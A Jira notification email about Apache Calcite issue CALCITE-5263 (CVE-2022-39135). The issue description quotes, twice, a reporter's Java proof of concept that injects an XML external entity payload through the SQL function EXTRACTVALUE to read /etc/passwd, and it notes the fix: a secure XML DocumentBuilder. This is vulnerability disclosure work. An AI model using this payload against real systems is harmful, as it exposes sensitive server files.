[
https://issues.apache.org/jira/browse/CALCITE-5263?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Julian Hyde updated CALCITE-5263:
---------------------------------
Description:
[CVE-2022-39135|https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-39135] is
an XML External Entity (XEE) vulnerability that allows a SQL query to read the
contents of files via the SQL functions {{{}EXISTS_NODE{}}},
{{{}EXTRACT_XML{}}}, {{XML_TRANSFORM}} or {{{}EXTRACT_VALUE{}}}.
Here is the initial report from [~exceptionfactory]:
{quote}Based on an initial review, several XML functions appear to be vulnerable
to XML External Entity attacks. Most of the functions require the Oracle
dialect, except for extractValue, which requires the MySQL dialect.
Implementing secure processing requires a different approach based on the
particular JAXP component. In the case of Calcite XmlFunctions, it looks
like changes would be necessary for TransformerFactory, as well as StAX and
SAX sources.
I would be glad to contribute a solution if this is deemed to be a
legitimate vulnerability.
I have included a simple proof of concept which embeds an external entity
reference to the standard password file on Linux systems.
{code:java}
import org.apache.calcite.jdbc.Driver;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Properties;
public class CalciteMySQLXmlExternalEntity {
public static void main(String[] args) throws Exception {
final String xml = "<!DOCTYPE document [ <!ENTITY entity SYSTEM
\"file:///etc/passwd\"> ]><document>&entity;</document>";
final String sql =
String.format("SELECT EXTRACTVALUE('%s','/document') AS ENTITY", xml);
final String functionDialect = "mysql";
executeSql(sql, functionDialect);
}
private static void executeSql(final String sql,
final String functionDialect) throws Exception {
final Driver driver = new Driver();
final Properties properties = new Properties();
properties.put("fun", functionDialect);
try (final Connection connection =
driver.connect(Driver.CONNECT_STRING_PREFIX, properties);
Statement statement = connection.createStatement()) {
if (statement.execute(sql)) {
try (final ResultSet resultSet = statement.getResultSet()) {
resultSet.next();
System.out.println(resultSet.getString("ENTITY"));
}
}
}
}
}
{code}
{quote}
The fix is to improve {{class XmlFunctions}} by using a secure instance of XML
{{{}DocumentBuilder{}}}.
was:Improve XmlFunctions by using an XML DocumentBuilder
> Improve XmlFunctions by using an XML DocumentBuilder
> ----------------------------------------------------
>
> Key: CALCITE-5263
> URL: https://issues.apache.org/jira/browse/CALCITE-5263
> Project: Calcite
> Issue Type: Task
> Components: core
> Reporter: Ruben Q L
> Assignee: Ruben Q L
> Priority: Minor
> Labels: pull-request-available
> Fix For: 1.32.0
>
> Time Spent: 2h 10m
> Remaining Estimate: 0h
>
> [CVE-2022-39135|https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-39135] is
> an XML External Entity (XEE) vulnerability that allows a SQL query to read
> the contents of files via the SQL functions {{{}EXISTS_NODE{}}},
> {{{}EXTRACT_XML{}}}, {{XML_TRANSFORM}} or {{{}EXTRACT_VALUE{}}}.
> Here is the initial report from [~exceptionfactory]:
> {quote}Based on an initial review, several XML functions appear to be
> vulnerable
> to XML External Entity attacks. Most of the functions require the Oracle
> dialect, except for extractValue, which requires the MySQL dialect.
> Implementing secure processing requires a different approach based on the
> particular JAXP component. In the case of Calcite XmlFunctions, it looks
> like changes would be necessary for TransformerFactory, as well as StAX and
> SAX sources.
> I would be glad to contribute a solution if this is deemed to be a
> legitimate vulnerability.
> I have included a simple proof of concept which embeds an external entity
> reference to the standard password file on Linux systems.
> {code:java}
> import org.apache.calcite.jdbc.Driver;
> import java.sql.Connection;
> import java.sql.ResultSet;
> import java.sql.Statement;
> import java.util.Properties;
> public class CalciteMySQLXmlExternalEntity {
> public static void main(String[] args) throws Exception {
> final String xml = "<!DOCTYPE document [ <!ENTITY entity SYSTEM
> \"file:///etc/passwd\"> ]><document>&entity;</document>";
> final String sql =
> String.format("SELECT EXTRACTVALUE('%s','/document') AS ENTITY", xml);
> final String functionDialect = "mysql";
> executeSql(sql, functionDialect);
> }
> private static void executeSql(final String sql,
> final String functionDialect) throws Exception {
> final Driver driver = new Driver();
> final Properties properties = new Properties();
> properties.put("fun", functionDialect);
> try (final Connection connection =
> driver.connect(Driver.CONNECT_STRING_PREFIX, properties);
> Statement statement = connection.createStatement()) {
> if (statement.execute(sql)) {
> try (final ResultSet resultSet = statement.getResultSet()) {
> resultSet.next();
> System.out.println(resultSet.getString("ENTITY"));
> }
> }
> }
> }
> }
> {code}
> {quote}
> The fix is to improve {{class XmlFunctions}} by using a secure instance of
> XML {{{}DocumentBuilder{}}}.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
